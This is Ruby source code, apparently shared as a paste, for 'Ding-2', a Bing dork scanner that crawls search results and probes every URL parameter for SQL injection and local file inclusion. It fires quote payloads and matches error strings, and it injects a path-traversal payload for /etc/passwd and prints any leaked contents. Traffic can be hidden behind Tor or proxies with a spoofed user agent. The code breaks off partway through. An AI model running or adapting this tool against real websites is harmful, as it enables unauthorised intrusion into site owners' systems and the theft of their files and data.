· 9 years ago · Mar 06, 2017, 04:36 PM
1#!/usr/bin/env ruby
2# encoding: utf-8
3#
4# Ding-2: A Faster Better Bing Dork Scanner
5# Designed with Ruby 1.9 in mind
6# By: MrGreen & Hood3dRob1n
7#
8# Thanx to SquirmyBeast & Affine for fun ideas and shooting the shit with me & keeping motivated while i work out the kinks
9# Greetz & Shouts to the entire Z+ Community
10# Enjoi World!
11
12#Std Needed------------>
13require 'fileutils'
14require 'open-uri'
15require 'optparse'
16require 'resolv'
17require 'thread'
18require 'tmpdir'
19#RubyGems Needed------------>
20require 'rubygems'
21require 'colorize'
22require 'hpricot'
23require 'nokogiri'
24require 'tor_requests'
25#Party Rox------------>
26
27#Trap any Interupts and exit cleanly, if you need to add cleanup code it can go here too...
28trap("SIGINT") { puts "\n\nWARNING! CTRL+C Detected, Shutting things down and exiting program....".red ; exit 666; }
29
30# Clean our results files.....
31def logcleaner(file)
32 Dir.mkdir("results/backups") if not File.directory?("results/backups") #confirm results/old exists, if not create it
33 foo=[]
34 File.open("results/#{file}", 'r').each do |line|
35 foo << line
36 end
37 foo = foo.uniq
38 oldfile = [Time.now.strftime("%Y-%m-%d-%H%M%S"),file].join("_")
39 FileUtils.mv("results/#{file}", "results/backups/#{oldfile}")
40 foo.each do |line|
41 clean = File.new("results/#{file}", "a+")
42 clean.puts line
43 clean.close
44 end
45end
46
47#Quick class to handle terminal clearing for when you just need to start fresh
48class Clear
49 def cls
50 if RUBY_PLATFORM =~ /win32/
51 system('cls')
52 else
53 system('clear')
54 end
55 end
56end
57
58#Class to print simple banner, nothing flashy here
59class Banner
60 def print
61 if RUBY_PLATFORM =~ /win32/
62 system('cls')
63 else
64 system('clear')
65 end
66 puts
67 puts "Ding-2".light_blue + ":".white + " A Faster Bing Dork Scanner".light_blue
68 puts "\tBy: ".light_blue + "MrGreen".light_green
69 puts
70 end
71end
72
73#Class for various injection tests we can call and use as we find links from our Bing searches
74class InjectorTest
75 def regexCheck(url, response, key, value) #Pass the injected url, a response body ARRAY and we will check if it has anything matching any of our special indicators, the key and value from our URL we were testing to get the response
76
77 # Signs of ColdFusion Server
78 coldfusion_err = [ "Invalid CFML construct found", "CFM compiler", "ColdFusion documentation", "Context validation error for tag cfif", "ERROR.queryString", "Error Executing Database Query", "SQLServer JDBC Driver", "coldFusion.sql.Parameter", "JDBC SQL", "JDBC error", "SequeLink JDBC Driver", "Invalid data .+ for CFSQLTYPE CF_SQL_INTEGER" ]
79
80 # Misc Errors, Coding Flaws, etc
81 misc_err= [ "Microsoft VBScript runtime", "Microsoft VBScript compilation", "Invision Power Board Database Error", "DB2 ODBC", "DB2 error", "DB2 Driver", "unexpected end of SQL command", "invalid query", "SQL command not properly ended", "An illegal character has been found in the statement", "Active Server Pages error", "ASP.NET_SessionId", "ASP.NET is configured to show verbose error messages", "A syntax error has occurred", "Unclosed quotation mark", "Input string was not in a correct format", "<b>Warning</b>: array_merge", "Warning: array_merge", "Warning: preg_match", "<b>Warning</b>: preg_match", "<exception-type>java.lang.Throwable" ]
82
83 # MS-Access
84 msaccess_err = [ "Microsoft JET Database Engine", "ADODB.Command", "ADODB.Field error", "Microsoft Access Driver", "ODBC Microsoft Access", "BOF or EOF" ]
85
86 # MS-SQL
87 mssql_err = [ "Microsoft OLE DB Provider for SQL Server error", "OLE/DB provider returned message", "ODBC SQL Server", "ODBC Error", "Microsoft SQL Native Client" ]
88
89 # MySQL
90 mysql_err = [ "<b>Warning</b>: mysql_query", "Warning: mysql_query", "<b>Warning</b>: mysql_fetch_row", "Warning: mysql_fetch_row", "<b>Warning</b>: mysql_fetch_array", "Warning: mysql_fetch_array", "<b>Warning</b>: mysql_fetch_assoc", "Warning: mysql_fetch_assoc", "<b>Warning</b>: mysql_fetch_object", "Warning: mysql_fetch_object", "<b>Warning</b>: mysql_numrows", "Warning: mysql_numrows", "<b>Warning</b>: mysql_num_rows", "Warning: mysql_num_rows", "MySQL Error", "MySQL ODBC", "MySQL Driver", "supplied argument is not a valid MySQL result resource", "error in your SQL syntax", "on MySQL result index", "JDBC MySQL", "<b>Warning</b>: mysql_result", "Warning: mysql_result" ]
91
92 # Oracle
93 oracle_err = [ "Oracle ODBC", "Oracle Error", "Oracle Driver", "Oracle DB2", "ODBC DB2", "ODBC Oracle", "JDBC Oracle", "ORA-01756", "ORA-00936", "ORA-00921", "ORA-01400", "ORA-01858", "ORA-06502", "ORA-00921", "ORA-01427", "ORA-00942", "<b>Warning</b>: ociexecute", "Warning: ociexecute", "<b>Warning</b>: ocifetchstatement", "Warning: ocifetchstatement", "<b>Warning</b>: ocifetchinto", "Warning: ocifetchinto", "error ORA-" ]
94
95 # Postgresql
96 pg_err = [ "<b>Warning</b>: pg_connect", "Warning: pg_connect", "<b>Warning</b>: simplexml_load_file", "Warning: simplexml_load_file", "Supplied argument is not a valid PostgreSQL result", "PostgreSQL query failed: ERROR: parser: parse error", "<b>Warning</b>: pg_exec", "Warning: pg_exec" ]
97
98 # File Includes
99 lfi_err = [ "<b>Warning</b>: include", "Warning: include", "<b>Warning</b>: require_once", "Warning: require_once", "Disallowed Parent Path", "<b>Warning</b>: main", "Warning: main", "<b>Warning</b>: session_start", "Warning: session_start", "<b>Warning</b>: getimagesize", "Warning: getimagesize", "<b>Warning</b>: include_once", "Warning: include_once" ]
100
101 # Eval()
102 eval_err = [ "eval()'d code</b> on line", "eval()'d code on line", "<b>Warning</b>: Division by zero", "Warning: Division by zero", "<b>Parse error</b>: syntax error, unexpected", "Parse error: syntax error, unexpected", "<b>Parse error</b>: parse error in", "Parse error: parse error in", "Notice: Undefined variable: node in eval", "<b>Notice</b>: Undefined variable: node in eval" ]
103
104 ############Add Your Array for Regex Check and follow the cycles below to build your own for your added array...
105
106 #LFI Test
107 tracker=0
108 lfi_err.each do |lfi|
109 if @@tor == 'fuqya' #TOR Returns our response as a string whereas open-uri returns our response as an array so we need to handle slightly different...............>
110 response = response.unpack('C*').pack('U*') if !response.valid_encoding? #Thanks StackOverflow :) #Keeps us from having encoding issues since who knows what kind of shit we will be finding with random dorks and geo option (cyrilic? & others)
111 if response =~ /#{lfi}/
112 if tracker < 1
113 puts "[LFI] ".light_green + "#{lfi.sub(/<b>/, '').sub(/<\/b>/, '')}".green
114 puts "\t=> #{url.chomp}".cyan
115 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
116 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
117 vlinks = File.new("results/lfi.results", "a+") #Open our file handle
118 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
119 vlinks.close #close our file handle we opened a minute ago
120 tracker += 1
121 end
122 end
123 else
124 response.each do |resp_line|
125 resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
126 if resp_line =~ /#{lfi}/
127 if tracker < 1
128 puts "[LFI] ".light_green + "#{lfi.sub(/<b>/, '').sub(/<\/b>/, '')}".green
129 puts "\t=> #{url.chomp}".cyan
130 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
131 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
132 vlinks = File.new("results/lfi.results", "a+") #Open our file handle
133 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
134 vlinks.close #close our file handle we opened a minute ago
135 tracker += 1
136 end
137 end
138 end
139 end
140 end
141
142 #Cold Fusion Test
143 tracker=0
144 coldfusion_err.each do |cold|
145 if @@tor == 'fuqya'
146 response = response.unpack('C*').pack('U*') if !response.valid_encoding?
147 if response =~ /#{cold}/
148 if tracker < 1
149 puts "[ColdFusion] ".light_green + "#{cold.sub(/<b>/, '').sub(/<\/b>/, '')}".green
150 puts "\t=> #{url.chomp}".cyan
151 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
152 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
153 vlinks = File.new("results/coldfusion.results", "a+") #Open our file handle
154 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
155 vlinks.close #close our file handle we opened a minute ago
156 tracker += 1
157 end
158 end
159 else
160 response.each do |resp_line|
161 resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding? #Thanks StackOverflow :)
162 if resp_line =~ /#{cold}/
163 if tracker < 1
164 puts "[ColdFusion] ".light_green + "#{cold.sub(/<b>/, '').sub(/<\/b>/, '')}".green
165 puts "\t=> #{url.chomp}".cyan
166 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
167 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
168 vlinks = File.new("results/coldfusion.results", "a+") #Open our file handle
169 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
170 vlinks.close #close our file handle we opened a minute ago
171 end
172 tracker += 1
173 end
174 end
175 end
176 end
177
178 #MySQL Test
179 tracker=0
180 mysql_err.each do |lqsym|
181 if @@tor == 'fuqya'
182 response = response.unpack('C*').pack('U*') if !response.valid_encoding?
183 if response =~ /#{lqsym}/
184 if tracker < 1
185 puts "[MySQLi] ".light_green + "#{lqsym.sub(/<b>/, '').sub(/<\/b>/, '')}".green
186 puts "\t=> #{url.chomp}".cyan
187 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
188 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
189 vlinks = File.new("results/mysqli.results", "a+") #Open our file handle
190 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
191 vlinks.close #close our file handle we opened a minute ago
192 tracker += 1
193 end
194 end
195 else
196 response.each do |resp_line|
197 resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
198 if resp_line =~ /#{lqsym}/
199 if tracker < 1
200 puts "[MySQLi] ".light_green + "#{lqsym.sub(/<b>/, '').sub(/<\/b>/, '')}".green
201 puts "\t=> #{url.chomp}".cyan
202 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
203 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
204 vlinks = File.new("results/mysqli.results", "a+") #Open our file handle
205 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
206 vlinks.close #close our file handle we opened a minute ago
207 tracker += 1
208 end
209 end
210 end
211 end
212 end
213
214 #MS-SQL Test
215 tracker=0
216 mssql_err.each do |lqssm|
217 if @@tor == 'fuqya'
218 response = response.unpack('C*').pack('U*') if !response.valid_encoding?
219 if response =~ /#{lqssm}/
220 if tracker < 1
221 puts "[MS-SQLi] ".light_green + "#{lqssm.sub(/<b>/, '').sub(/<\/b>/, '')}".green
222 puts "\t=> #{url.chomp}".cyan
223 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
224 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
225 vlinks = File.new("results/mssqli.results", "a+") #Open our file handle
226 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
227 vlinks.close #close our file handle we opened a minute ago
228 tracker += 1
229 end
230 end
231 else
232 response.each do |resp_line|
233 resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
234 if resp_line =~ /#{lqssm}/
235 if tracker < 1
236 puts "[MS-SQLi] ".light_green + "#{lqssm.sub(/<b>/, '').sub(/<\/b>/, '')}".green
237 puts "\t=> #{url.chomp}".cyan
238 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
239 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
240 vlinks = File.new("results/mssqli.results", "a+") #Open our file handle
241 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
242 vlinks.close #close our file handle we opened a minute ago
243 tracker += 1
244 end
245 end
246 end
247 end
248 end
249 tracker=0
250
251 #MS-Access Test
252 msaccess_err.each do |lqsasm|
253 if @@tor == 'fuqya'
254 response = response.unpack('C*').pack('U*') if !response.valid_encoding?
255 if response =~ /#{lqsasm}/
256 if tracker < 1
257 puts "[MS-Access SQLi] ".light_green + "#{lqsasm.sub(/<b>/, '').sub(/<\/b>/, '')}".green
258 puts "\t=> #{url.chomp}".cyan
259 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
260 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
261 vlinks = File.new("results/msaccess.results", "a+") #Open our file handle
262 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
263 vlinks.close #close our file handle we opened a minute ago
264 tracker += 1
265 end
266 end
267 else
268 response.each do |resp_line|
269 resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
270 if resp_line =~ /#{lqsasm}/
271 if tracker < 1
272 puts "[MS-Access SQLi] ".light_green + "#{lqsasm.sub(/<b>/, '').sub(/<\/b>/, '')}".green
273 puts "\t=> #{url.chomp}".cyan
274 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
275 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
276 vlinks = File.new("results/msaccess.results", "a+") #Open our file handle
277 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
278 vlinks.close #close our file handle we opened a minute ago
279 tracker += 1
280 end
281 end
282 end
283 end
284 end
285
286 #Postgresql Test
287 tracker=0
288 pg_err.each do |lqspg|
289 if @@tor == 'fuqya'
290 response = response.unpack('C*').pack('U*') if !response.valid_encoding?
291 if response =~ /#{lqspg}/
292 if tracker < 1
293 puts "[Postgres SQLi] ".light_green + "#{lqspg.sub(/<b>/, '').sub(/<\/b>/, '')}".green
294 puts "\t=> #{url.chomp}".cyan
295 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
296 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
297 vlinks = File.new("results/pgsqli.results", "a+") #Open our file handle
298 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
299 vlinks.close #close our file handle we opened a minute ago
300 tracker += 1
301 end
302 end
303 else
304 response.each do |resp_line|
305 resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
306 if resp_line =~ /#{lqspg}/
307 if tracker < 1
308 puts "[Postgres SQLi] ".light_green + "#{lqspg.sub(/<b>/, '').sub(/<\/b>/, '')}".green
309 puts "\t=> #{url.chomp}".cyan
310 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
311 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
312 vlinks = File.new("results/pgsqli.results", "a+") #Open our file handle
313 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
314 vlinks.close #close our file handle we opened a minute ago
315 tracker += 1
316 end
317 end
318 end
319 end
320 end
321
322 #Oracle Test
323 tracker=0
324 oracle_err.each do |ora|
325 if @@tor == 'fuqya'
326 response = response.unpack('C*').pack('U*') if !response.valid_encoding?
327 if response =~ /#{ora}/
328 if tracker < 1
329 puts "[Oracle SQLi] ".light_green + "#{ora.sub(/<b>/, '').sub(/<\/b>/, '')}".green
330 puts "\t=> #{url.chomp}".cyan
331 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
332 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
333 vlinks = File.new("results/oracle.results", "a+") #Open our file handle
334 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
335 vlinks.close #close our file handle we opened a minute ago
336 tracker += 1
337 end
338 end
339 else
340 response.each do |resp_line|
341 resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
342 if resp_line =~ /#{ora}/
343 if tracker < 1
344 puts "[Oracle SQLi] ".light_green + "#{ora.sub(/<b>/, '').sub(/<\/b>/, '')}".green
345 puts "\t=> #{url.chomp}".cyan
346 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
347 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
348 vlinks = File.new("results/oracle.results", "a+") #Open our file handle
349 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
350 vlinks.close #close our file handle we opened a minute ago
351 tracker += 1
352 end
353 end
354 end
355 end
356 end
357
358 #Misc Error Messages that might be worth investigating
359 tracker=0
360 misc_err.each do |misc|
361 if @@tor == 'fuqya'
362 response = response.unpack('C*').pack('U*') if !response.valid_encoding?
363 if response =~ /#{misc}/
364 if tracker < 1
365 puts "[Error => vuln?] ".light_green + "#{misc.sub(/<b>/, '').sub(/<\/b>/, '')}".green
366 puts "\t=> #{url.chomp}".cyan
367 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
368 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
369 vlinks = File.new("results/misc.results", "a+") #Open our file handle
370 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
371 vlinks.close #close our file handle we opened a minute ago
372 tracker += 1
373 end
374 end
375 else
376 response.each do |resp_line|
377 resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
378 if resp_line =~ /#{misc}/
379 if tracker < 1
380 puts "[Error => vuln?] ".light_green + "#{misc.sub(/<b>/, '').sub(/<\/b>/, '')}".green
381 puts "\t=> #{url.chomp}".cyan
382 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
383 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
384 vlinks = File.new("results/misc.results", "a+") #Open our file handle
385 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
386 vlinks.close #close our file handle we opened a minute ago
387 tracker += 1
388 end
389 end
390 end
391 end
392 end
393
394 # Eval() Test
395 tracker=0
396 eval_err.each do |evalz|
397 if @@tor == 'fuqya'
398 response = response.unpack('C*').pack('U*') if !response.valid_encoding?
399 if response =~ /#{evalz}/
400 if tracker < 1
401 puts "[Eval()] ".light_green + "#{evalz.sub(/<b>/, '').sub(/<\/b>/, '')}".green
402 puts "\t=> #{url.chomp}".cyan
403 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
404 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
405 vlinks = File.new("results/eval.results", "a+") #Open our file handle
406 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
407 vlinks.close #close our file handle we opened a minute ago
408 tracker += 1
409 end
410 end
411 else
412 response.each do |resp_line|
413 resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding? #Thanks StackOverflow :)
414 if resp_line =~ /#{evalz}/
415 if tracker < 1
416 puts "[Eval()] ".light_green + "#{evalz.sub(/<b>/, '').sub(/<\/b>/, '')}".green
417 puts "\t=> #{url.chomp}".cyan
418 puts "\t\t=> Vuln Paramater: ".cyan + "#{key}".white unless key.nil?
419 puts "\t\t=> Original Value: ".cyan + "#{value}".white unless value.nil?
420 vlinks = File.new("results/eval.results", "a+") #Open our file handle
421 vlinks.puts "#{url.chomp}" #Write to file for safe keeping
422 vlinks.close #close our file handle we opened a minute ago
423 end
424 tracker += 1
425 end
426 end
427 end
428 end
429 end
430
431 def quoteTest(num) #1=Single Dork, 2=File Option (threads?)
432 puts "Commencing Injection Tests".light_red + "....".cyan
433 File.open("results/ding2.results", "r").each do |line|
434 if line =~ /r.msn.com/ or line =~ /bingads.microsoft.com/
435 next
436 end
437 begin
438 param = URI.parse(line).query #See if we cause any errors to weed out no parameter links....
439 #break paramaters into hash [ "key" => "value" ] formatting held in storage for easier manipulation
440 params = Hash[URI.parse(line).query.split('&').map{ |q| q.split('=') }]
441 puts "Testing Link".light_red + ": ".cyan + "#{line.chomp}".white
442 count=0
443 tracker=0
444 params.each do |key, value| #cycle through hash and print key and associated value
445 @key = key
446 @value = value
447 if params.length > 1 #Multiple Parameter Links
448 injlnk = line.sub("#{value}", "#{value}%27") #Set a injection link variable
449 @injlnk = injlnk
450 if count == 0
451 puts "\t=> Multiple Paramters, testing all".light_blue + "....".cyan
452 count += 1
453 end
454 if @@tor == 'fuqya'
455 #TOR Request
456 baseurl = URI(injlnk)
457 vchk = Tor::HTTP.get(baseurl.host, baseurl.request_uri, baseurl.port).body
458 else
459 #Normal
460 if @@proxy == 'landofthelost' #NEW TIMEOUT & Proxy Options just for Squirmy :)
461 #RUN NORMAL REQUEST
462 vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30}).readlines #UA=>IE8.0, Now we have our injected response page page in array to search
463 else
464 if @@username == 'nada'
465 #RUN PROXY WITHOUT AUTH
466 vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy => "#{@@proxy}"}).readlines
467 else
468 #RUN PROXY WITH AUTH
469 vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}).readlines
470 end
471 end
472 end
473 regexCheck(injlnk, vchk, key, value)
474 else #############<=ELSE SINGLE PARAMETER LINKS=>##############
475 injlnk = line.sub("#{value}", "#{value}%27") #Set a injection link variable
476 @injlnk = injlnk
477 if @@tor == 'fuqya'
478 #TOR Request
479 baseurl = URI(injlnk)
480 vchk = Tor::HTTP.get(baseurl.host, baseurl.request_uri, baseurl.port).body
481 else
482 if @@proxy == 'landofthelost' #NEW TIMEOUT & Proxy Options just for Squirmy :)
483 #RUN NORMAL REQUEST
484 vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30}).readlines #UA=>IE8.0, Now we have our injected response page page in array to search
485 else
486 if @@username == 'nada'
487 #RUN PROXY WITHOUT AUTH
488 vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy => "#{@@proxy}"}).readlines
489 else
490 #RUN PROXY WITH AUTH
491 vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}).readlines
492 end
493 end
494 end
495 regexCheck(injlnk, vchk, key, value)
496 end
497 end
498 #random HTTP errors, i.e. skip link but note error
499 rescue OpenURI::HTTPError => e
500 if e.to_s == "404 Not Found"
501 puts "\t=> #{e}".red
502 next
503 #############################################################
504 #Route to Blind Based INjection Tests for further review.....
505 #############################################################
506 elsif e.to_s == "500 Internal Server Error"
507 #something to scan page anyways for ASP stupid Winblows sites
508 puts "\t=> #{e}".red
509 puts "\tRunning additional checks".light_blue + ".....".white
510 foores = e.io.readlines
511 regexCheck(@injlnk, foores, @key, @value)
512 else
513 puts "\t=> #{e}".red
514 end
515 rescue Net::HTTPBadResponse
516 puts "\t=> Problem reading response due to TOR, sorry".red + "......".white
517 rescue Errno::ECONNREFUSED
518 puts "\t=> Problem communicating with site, connection refused".red + "!".white
519 rescue Errno::EHOSTUNREACH
520 puts "\t=> Problem communicating with site, host unreachable".red + "!".white
521 rescue EOFError
522 puts "\t=> Problem communicating with site".red + "....".white
523 rescue Errno::EINVAL => e
524 puts "\t=> #{e}".yellow
525 rescue SocketError
526 puts "\t=> Problem connecting to site".red + "....".white
527 rescue OpenSSL::SSL::SSLError
528 puts "\t=> Issues with Remote Host's OpenSSL Server Certificate".red + "....".white
529 rescue Errno::ENOENT
530 puts "\t=> Jacked URL parsing due to no value with parameter, sorry".red + "....".white
531 next
532 rescue Errno::ECONNRESET
533 puts "\t=> Problem connecting to site".red + "....".white
534 rescue RuntimeError => e
535 if e.to_s == 'Timeout::Error' # we took longer than read_timeout value said they could :p
536 puts "\t=> Connection Timeout".red + "!".cyan
537 #open-uri cant redirect properly from http to https due to a check it has built-in, so cant follow redirect :(
538 else
539 puts "\t=> Can't properly follow the redirect!".red
540 end
541 rescue Timeout::Error
542 #timeout of sorts...skip
543 puts "\t=> Connection Timeout!".red
544 rescue Errno::ETIMEDOUT
545 #timeout of sorts...skip
546 puts "\t=> Connection Timeout".red + "!".white
547 rescue TypeError
548 #Jacked up URL parsing or something like this....
549 puts "\t=> Jacked URL parsing for some reason, sorry".red + "....".white
550 next
551 rescue URI::InvalidURIError
552 #Jacked up URL parsing or something like this....
553 puts "\t=> Jacked URL parsing for some reason, sorry".red + "....".white
554 next
555 rescue NoMethodError => e
556 # If bad link cause error cause its not a link dont freak out....Dont do anything....got something better?
557 puts "Testing Link".light_red + ": ".cyan + "#{line.chomp}".white
558 puts "\t=> No Testable Paramaters!".red
559 #############################################################
560 ## should we test sites with no parameters anyways? NOISY? ##
561 #############################################################
562 end
563 end
564 end
565
566 #LFI /etc/passwd Injection Test using a genric length injection and regex check for signs of success
567 def etcTest(num) #1=Single Dork, 2=File Option (threads?) #Am i using num var anymore??
568 puts "Commencing /etc/passwd LFI Injection Test now".light_red + "....".cyan
569 File.open("results/ding2.results", "r").each do |line|
570 if line =~ /r.msn.com/ or line =~ /bingads.microsoft.com/
571 next
572 end
573 begin
574 param = URI.parse(line).query #See if we cause any errors to weed out no parameter links....
575 #break paramaters into hash [ "key" => "value" ] formatting held in storage for easier manipulation
576 params = Hash[URI.parse(line).query.split('&').map{ |q| q.split('=') }]
577 puts "Testing Link".light_red + ": ".cyan + "#{line.chomp}".white
578 count=0
579 tracker=0
580 params.each do |key, value| #cycle through hash and print key and associated value
581 @key = key
582 @value = value
583 if params.length > 1 #Multiple Parameter Links
584 injlnk = line.sub("#{value}", "../../../../../../../../../etc/passwd%00") #Set a injection link variable
585 @injlnk = injlnk
586 if count == 0
587 puts "\t=> Multiple Paramters, testing all".light_blue + "....".cyan
588 count += 1
589 end
590 if @@tor == 'fuqya'
591 #TOR Request
592 baseurl = URI(injlnk)
593 vchk = Tor::HTTP.get(baseurl.host, baseurl.request_uri, baseurl.port).body
594 else
595 #Normal
596 if @@proxy == 'landofthelost' #NEW TIMEOUT & Proxy Options just for Squirmy :)
597 #RUN NORMAL REQUEST
598 vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30}).readlines #UA=>IE8.0, Now we have our injected response page page in array to search
599 else
600 if @@username == 'nada'
601 #RUN PROXY WITHOUT AUTH
602 vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy => "#{@@proxy}"}).readlines
603 else
604 #RUN PROXY WITH AUTH
605 vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30, :proxy_http_basic_authentication => ["#{@@proxy}", "#{@@username}", "#{@@password}"]}).readlines
606 end
607 end
608 end
609
610 tracker=0
611 if @@tor == 'fuqya'
612 vchk = vchk.unpack('C*').pack('U*') if !vchk.valid_encoding?
613 if vchk =~ /(\w+:.:\d+:\d+:.+:.+:\/\w+\/\w+)/m
614 puts "Link: ".light_green + "#{injlnk.chomp}".white
615 puts "File Found: ".light_green + "/etc/passwd".white
616 passwdz = $1
617 puts "#{passwdz}".cyan
618 puts
619 vlinks = File.new("results/lfi-confirmed.results", "a+") #Open our file handle
620 vlinks.puts "#{@injlnk}" #Write to file for safe keeping
621 vlinks.close #close our file handle we opened a minute ago
622 tracker=2
623 end
624 else
625 passwdz=[]
626 vchk.each do |resp_line|
627 resp_line = resp_line.unpack('C*').pack('U*') if !resp_line.valid_encoding?
628 if resp_line =~ /(\w+:.:\d+:\d+:.+:.+:\/\w+\/\w+)/
629 passwdz << $1
630 tracker=1
631 end
632 end
633 end
634 if tracker.to_i == 0
635 regexCheck(injlnk, vchk, key, value)
636 elsif tracker.to_i == 1
637 puts "Link: ".light_green + "#{injlnk.chomp}".white
638 puts "File Found: ".light_green + "/etc/passwd".white
639 puts "#{passwdz.join("\n")}".cyan
640 puts
641 vlinks = File.new("results/lfi-confirmed.results", "a+")
642 vlinks.puts "#{@injlnk}"
643 vlinks.close
644 end
645
646 else #############<=ELSE SINGLE PARAMETER LINKS=>##############
647 injlnk = line.sub("#{value}", "../../../../../../../../../etc/passwd%00") #Set a injection link variable
648 @injlnk = injlnk
649 if @@tor == 'fuqya'
650 #TOR Request
651 baseurl = URI(injlnk)
652 vchk = Tor::HTTP.get(baseurl.host, baseurl.request_uri, baseurl.port).body
653 else
654 if @@proxy == 'landofthelost' #NEW TIMEOUT & Proxy Options just for Squirmy :)
655 #RUN NORMAL REQUEST
656 vchk = open(injlnk, {'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR 3.3.69573; WOW64; en-US)', :read_timeout => 30}).readlines #UA=>IE8.0, Now we have our injected response page page in array to search
657 else
658 if @@username == 'nada'
659 #RUN PROXY WITHOUT AUTH
